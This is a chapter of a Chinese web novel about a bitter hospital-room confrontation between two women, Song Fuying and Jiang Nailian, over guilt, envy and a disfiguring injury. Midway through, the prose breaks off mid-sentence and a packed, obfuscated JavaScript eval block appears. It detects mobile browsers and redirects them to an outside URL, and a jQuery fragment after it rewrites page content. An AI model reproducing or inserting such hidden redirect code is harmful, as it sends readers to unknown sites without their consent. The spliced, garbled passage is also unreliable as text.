我开始听不见自己的声音了。
我只记得,我紧紧抓住她的手臂,把指甲抠进我所能抓到的她的肉里。
她一定很疼,可是她一声都没吭。
她在我面前跪下了,我看到她的膝盖重重磕在地板上,这样下去膝盖上一定会出现两块淤青。
她披头散发,把自己的腰弯的很低,企图与我对视。
*
“小怜?小怜你还好吗?”
“对不起……我……”宋扶樱不知道自己要怎样道歉。
她是利益既得者,这一点永远不会改变。
事实铁板钉钉,她的安慰简直是徒劳。
无论怎么说,都像是在炫耀,炫耀着自己拥有的一切。
拥有的美好容颜,拥有天生的路人缘,拥有本该属于江耐怜的一切。
*
被恨洇湿的情绪如一块棉花,沉重地堵在胸膛。
耳中只能听到宋扶樱的声音,焉之哥在身旁的呼唤无限减弱,我听到她在哭。
她一直都是这幅卑微的样子……
承认吧,我就是喜欢从她的身上找优越感。
刚养好伤那会,脸上留下了密密麻麻的烧伤和疤痕,变得人不人鬼不鬼。妈妈告诉我,我要带着这一切活下去,一辈子都不会变好了。
我看着宋扶樱的脸,无数次催眠我自己,没有我的牺牲,现在我还怎么能看得到那么美的人呢?
反正我也看不见自己的样子,只要一辈子不照镜子就好了。
焉之哥和小扶樱,都很照顾我。他们假装一切都没变,悄悄把家里所有能反光的东西都藏了起来,连碗都换成了木头做的。
直到有一天,我晚上下楼,把正在倒水的小扶樱吓了一大跳。
虽然她立刻解释,刚才被吓到是因为我走路没有声音,可我心里清楚,真相是她看到我的脸。
我终究在他们心里变成了怪物。
我继续告诉我自己,这一切都是我甘愿。
现在想来,不甘心又能怎么办呢?决定已经在那一刻做出了,后悔改变不了任何事情。
我劝说我自己,别计较这些,别怨恨宋扶樱。
她在许家活的已经很艰难了,我不该再往她头上踩一脚的。
可事实恰恰相反,她受的绝大多数苦,都是因为我。
我看着她那张清冷的脸,如蛮荒之地生长出的一株小草,我嫉妒她的生命力,痛恨她为什么能战胜一切苦难活下来,明明她应该和我一样。
一样悲观,一样生不如死才好。
我开始从她身上寻找我的优越感。我要看着这样美丽的人在最应该绽放的青春年华里,羡慕着我所拥有的一切。
我看着她憧憬我和焉之哥之间的感情,我看着她得不到她想要的一切,我看着她的情感被漠视,我看着她也想成为我。
“——我看着她也想成为我。”
我知道她痛苦。她辗转反侧,她一个人躲在发霉的房间里痛哭。
她没有父母,没有亲人。我的家人并不爱她。
她扑了过来,紧紧抱住了我。
*
宋扶樱紧紧抱住坐在床上一言不发的江耐怜。她的眼泪全滴落在江耐怜穿着的病号服上,同时她能感觉到,自己的肩膀也慢慢被眼泪浸湿了。
“对不起……”只剩下道歉了,宋扶樱不知道自己还有什么东西能拿得出手。
“我可以照顾你,接下来哪儿都不去。”
“我也可以帮你准备材料,让你能好好参加设计大赛。”
“新闻会被压下去的。你并不是他们说的那样,我可以帮你澄清。”
还能做些什么?还能做些什么来弥补自己的愧疚?
深深的无力,和绳索一样绞住宋扶樱的喉咙,她只觉得一阵又一阵的窒息。
每一次想要逃离,每一次重新感受到一些温暖,江耐怜就会用愧疚把她捆住,让她重新自愿回到这个牢笼。
她知道她逃不出去了。
……
凭什么?
我原来是不怪她的,在日积月累人们对她投来异样的眼光之后,不知为何,我心中也有些怨。
“宋扶樱。”一双手,狠狠把宋扶樱推开了。
她又重新跌坐在了地上,迷茫地看向面前的人。
江耐怜的眼睑红得吓人,自宋扶樱进入许家以来,她鲜少看到江耐怜真正露出什么有攻击性的表情。
“你骗人,你已经在向外走了。”
她骗人。她骗了我。
她不再羡慕我了。她也不再在意焉之哥,不再在意对我来说唯一有优势的东西。
她沉浸在自己的快乐世界里。她有了独属于她的成就,并且和我、我熟知的环境毫无关联。
我在她身上再也找不到我的优越感。
我恨她。我应该恨她的,她拿走了属于我的一切东西,不是吗?
我恨她恨的入骨。
*
也许这是江耐怜第一次露出獠牙,也许她过了这么多年,终于装不下去了。
宋扶樱心中的怒火也被燎了起来,不知道为什么,许焉之对她说一万句“活该”,警告她一万次,她都没有那么生气。
而江耐怜一句普普通通的“你骗人”,她的情绪就激烈起来。
“我骗你什么了?我一看到你的消息就回来了。”
她的呼吸急促起来。这一次明显是动了真感情的。
宋扶樱接受不了温顺懦弱的江耐怜直接对她发火。
“你之前坑了我那么多次,每一次妈和许焉之怪我都是因为你,都是你在煽风点火!”
“我一次又一次退让,你难道看不到吗?”
“宋扶樱!”一旁的许焉之眉头一皱,快步走到她身边。
“差不多得了。小怜,有什么委屈和哥哥讲,别和她吵架,不值得。”
“许焉之你也是个懦夫!”宋扶樱的嘴被许焉之捂上了,他靠近宋扶樱的耳朵,压低声音:
“你忍忍行不行?真吵起来你不占理。”
慌乱之间,许焉之的手肘顶到了宋扶樱之前被摔在地上时那块旧伤,她疼得嘶了一声。
原本吸入大量致人昏迷气体,就需要很长时间恢复,加上身上多处外伤、软组织挫伤,被猛地晃几下,宋扶樱有点想吐。
可面前对她说出这些话的人,是江耐怜不是许焉之啊。
许焉之对她这样说也就算了,他从来都是拉偏架的,江耐怜怎么能跟着一起混淆黑白呢?
“江耐怜,我多可悲啊,我曾经那么羡慕你,甚至把能够羡慕你当作一种恩赐……”
头痛得难受,腿也没什么力气,宋扶樱干脆把许焉之当支架撑着。
“八年里的七年,我都在羡慕你,我发了疯般得想成为你,原来这就是你想要的吗?”
“你想要我日日夜夜的痛苦!想要我一辈子感恩戴德!想要我成为你的奴隶,想要我永远对你俯首称臣!”
“所以你想尽一切办法把错处归到我身上,照片不是我拍的,我开门之后一张照片也没拍到。”
“是许焉之没有保护好你,是他只顾着和别人说话。”
“你不敢怪他!他是你的依靠,只有我,你可以随意践踏!”
“小扶樱……”江耐怜捂着自己的脸,宋扶樱跪坐在地板上。
别说了……别说了……
我不想听……我讨厌争吵……
“啊!!!”
病床上的女人爆发出悲恸的尖叫。
宋扶樱狠狠咬了一口许焉之的手,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165736|196708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逼迫他放开,头发却还是黏在脸颊上。
她的下巴有奔涌而出汇聚的泪滴。
“江耐怜,我痛苦的时候你很快乐对吧?”
——明明我不想这样控诉宋扶樱的。
——明明我不想这样责骂江耐怜的。
——明明我看到她跌坐在地板上时会心疼。
——明明我看到新闻的第一刻在想她的感受。
——明明她和我同病相怜。
——明明她对我抛出善意。
为什么,要用尽伤人的话去说?
……
“是啊。”
“是啊,宋扶樱。”
“你最失败的人生,是我最得意的回忆。”
“你恨我吧,就像恨当年失败的自己。”
终于安静下来了。
一切都结束了。宋扶樱跌坐在地上,江耐怜扑倒在床上。
许焉之捂着被咬了一口,还在流血的手。
他忍着痛,先把宋扶樱扯了起来,坐在地上肯定不行,地板太冷。
许焉之了解宋扶樱要强的个性,但凡她有一点办法自己起立,都不会像现在这样,和一根瘫软的面条一样被他提溜起来的。
瞬间失去了全部力气的宋扶樱在这时才感觉到自己腰间的疼痛,软组织的痛已经比不上她心脏的疼了。
——她真的好想温执悬。
她本不想招惹任何人的。她只是想好好过自己的日子而已。
命运把她推到了这个人不人鬼不鬼的地步,无边的孤独刹那间淹没她的口鼻。
连委屈都不被允许。
咬碎牙齿也好,狼狈地抓住身边一切东西也好,呕吐到只剩血液也好。
她必须活下去。必须找到温执悬。
堂堂正正地活着已经是一种奢望了。今天的自己太放纵。
宋扶樱,这是你最后一次表露自己真情实感的机会了。
接下来,恢复以前顺从的模样就好。
这里没人会心疼你。收好你的委屈与懦弱。
她对自己说。
江耐怜捂着自己的伤口。刚才太激动,伤口已经被扯开,流出的血染红了纱布。
听到宋扶樱说出这样的话,她怎么都没有办法冷静下来。
话说出口时,她就后悔了。
同时,躺在病床上的女孩惊觉,伤害宋扶樱的后悔程度,比当初救她的后悔程度要高的多。
*
“助理,带个轮椅进来。”在场还有理智的人,居然只剩下许焉之。
“把她送去医生那儿检查,再喊个护士进来,处理小怜的伤口。”
他吃痛地皱了皱眉。
“好。”助理刚要离开,又被许焉之喊住。
“等一下,再帮我约个狂犬疫苗。”
这女人属狗的吧,咬人那么狠。
现在两个人倒是很安静了,刚才喊得那么凶,隔壁病房的都要来围观。
许焉之只觉得自己真不是个劝架的好手,一开始两人吵的还没那么厉害,他一开口,不知道为什么矛盾升级得那么快,对他又是打又是咬。
……还不是因为你是在场唯一一个身强体壮的,怎么打都没事,被当成泄气沙包了。
现在三个人各去各的诊室,各有各忙的事。
气氛诡异地缓和了下来。
助理推着轮椅,往约好的诊室走。一出病房,轮椅上的女人眼睛和坏了的自来水水管一样,眼泪直往外冒。
他也有些于心不忍了。
“宋女士,你有什么特别难过的,也可以和我说。”
同样是助理,宋扶樱不可能和许焉之的助理说一句心里话。
助理做好了倾听的准备。
轮椅上的女人,却沉默了一路。